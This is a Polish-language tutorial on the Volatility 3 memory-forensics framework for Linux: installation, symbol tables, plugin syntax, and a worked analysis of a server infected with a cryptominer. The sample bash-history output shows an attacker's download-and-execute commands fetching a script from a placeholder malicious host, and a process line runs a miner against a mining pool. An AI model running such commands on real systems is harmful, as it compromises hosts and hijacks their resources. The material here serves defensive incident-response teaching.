Czym jest Volatility 3?

Volatility 3 to całkowicie przepisana od zera wersja legendarnego frameworka do analizy zrzutów pamięci RAM. Jeśli czytałeś nasz poprzedni artykuł o Volatility, znasz już ideę memory forensics. Volatility 3 realizuje tę samą misję, ale z nowoczesną architekturą, znacznie prostszą obsługą i lepszą wydajnością.

Najważniejsza zmiana: koniec z profilami. W Volatility 2 trzeba było ręcznie dobierać profil pasujący do wersji jądra — co było frustrujące i podatne na błędy. Volatility 3 automatycznie odczytuje struktury danych bezpośrednio z tablic symboli jądra (Symbol Tables), eliminując ten problem.

Co się zmieniło w stosunku do Volatility 2?

Cecha Volatility 2 Volatility 3
Język Python 2/3 Python 3 (wyłącznie)
Profile Wymagane, ręczne Automatyczne (Symbol Tables)
Polecenie volatility vol (lub vol3)
Składnia wtyczek --profile=X pslist linux.pslist (hierarchia)
Wydajność Wolniejszy Znacznie szybszy
Architektura Monolityczna Modularna, łatwa do rozbudowy

Instalacja

Volatility 3 wymaga Pythona 3.7 lub nowszego.

# Pobranie źródeł
git clone https://github.com/volatilityfoundation/volatility3.git
cd volatility3

# Instalacja zależności
pip3 install -r requirements.txt

# Sprawdzenie działania
python3 vol.py -h

Instalacja tablic symboli

Volatility 3 potrzebuje tablic symboli (Symbol Tables) odpowiadających wersji jądra z analizowanego zrzutu. Dla Linuksa można je wygenerować samodzielnie za pomocą narzędzia dwarf2json lub pobrać gotowe ze strony projektu.

# Pobranie gotowych tablic symboli dla Linuksa
# Umieść je w katalogu volatility3/symbols/
ls volatility3/symbols/linux/

Jeśli Volatility 3 nie znajdzie odpowiedniej tablicy automatycznie, poinformuje o tym w komunikacie błędu, podając dokładną wersję jądra, której szuka.

Nowa składnia — najważniejsze wtyczki

W Volatility 3 wtyczki są zorganizowane hierarchicznie według systemu operacyjnego. Dla Linuksa wszystkie zaczynają się od linux.:

Listowanie procesów

# Volatility 2 (stara składnia):
# volatility -f dump.raw --profile=Linux_X pslist

# Volatility 3:
vol -f dump.raw linux.pslist

Drzewo procesów

vol -f dump.raw linux.pstree

Połączenia sieciowe

vol -f dump.raw linux.sockstat

Załadowane moduły jądra

vol -f dump.raw linux.lsmod

Otwarte pliki

vol -f dump.raw linux.lsof

Historia komend bash

vol -f dump.raw linux.bash

Zamontowane systemy plików

vol -f dump.raw linux.mountinfo

Zmienne środowiskowe procesów

vol -f dump.raw linux.envars

Przykład praktyczny: Analiza skompromitowanego serwera

Scenariusz: Twój serwer zachowuje się podejrzanie — obciążenie CPU jest wysokie bez widocznej przyczyny. Udało Ci się wykonać zrzut pamięci za pomocą LiME:

# Wykonanie zrzutu pamięci na działającym systemie
sudo insmod lime-$(uname -r).ko "path=/tmp/dump.raw format=raw"

Teraz analizujemy zrzut:

1. Listowanie procesów:

vol -f /tmp/dump.raw linux.pslist
PID     PPID    COMM
1       0       systemd
...
4821    4820    kworkerds
4825    4821    kworkerds

Widzimy podejrzany proces kworkerds — nazwa łudząco podobna do legalnego wątku jądra kworker, ale to osobny proces z własnym PID i PPID.

2. Sprawdzenie argumentów uruchomienia:

vol -f /tmp/dump.raw linux.cmdline --pid 4821
PID     ARGS
4821    /tmp/kworkerds -o stratum+tcp://pool.minero.cc:5555 -u wallet123

To koparka kryptowalut komunikująca się z pulą wydobywczą.

3. Sprawdzenie połączeń sieciowych:

vol -f /tmp/dump.raw linux.sockstat

Proces kworkerds utrzymuje aktywne połączenie TCP na porcie 5555 do zewnętrznego adresu IP.

4. Sprawdzenie, jak atakujący dostał się do systemu:

vol -f /tmp/dump.raw linux.bash
PID     COMM    COMMAND
1102    bash    wget http://malicious.site/payload.sh -O /tmp/payload.sh
1102    bash    chmod +x /tmp/payload.sh
1102    bash    /tmp/payload.sh

Historia basha ujawnia, że atakujący pobrał i uruchomił złośliwy skrypt.

Przydatne opcje

  • Filtrowanie po PID: Większość wtyczek akceptuje --pid, aby zawęzić wyniki do konkretnego procesu:

    vol -f dump.raw linux.lsof --pid 4821
    
  • Zrzut pliku binarnego z pamięci: Jeśli chcesz wyciągnąć podejrzany plik binarny do dalszej analizy:

    vol -f dump.raw linux.elfs --pid 4821 --dump
    
  • Lista dostępnych wtyczek:

    vol -f dump.raw linux --help
    

Volatility 3 vs narzędzia live

Warto pamiętać, czym analiza zrzutu pamięci różni się od narzędzi działających na żywym systemie:

  • ps, top, ss — mogą być oszukane przez rootkity, które ukrywają procesy.
  • Volatility 3 analizuje surową pamięć — rootkit nie jest w stanie ukryć się przed analizą offline.
  • Zrzut pamięci jest “zamrożonym” stanem — nic się nie zmieni podczas analizy, w przeciwieństwie do żywego systemu.

Podsumowanie

Volatility 3 to ogromny krok naprzód w stosunku do poprzedniej wersji. Automatyczne rozpoznawanie struktur jądra, czytelna hierarchia wtyczek i lepsza wydajność sprawiają, że analiza pamięci staje się bardziej dostępna. Jeśli dotychczas zniechęcała Cię konieczność walki z profilami w Volatility 2, teraz jest najlepszy moment, aby spróbować ponownie.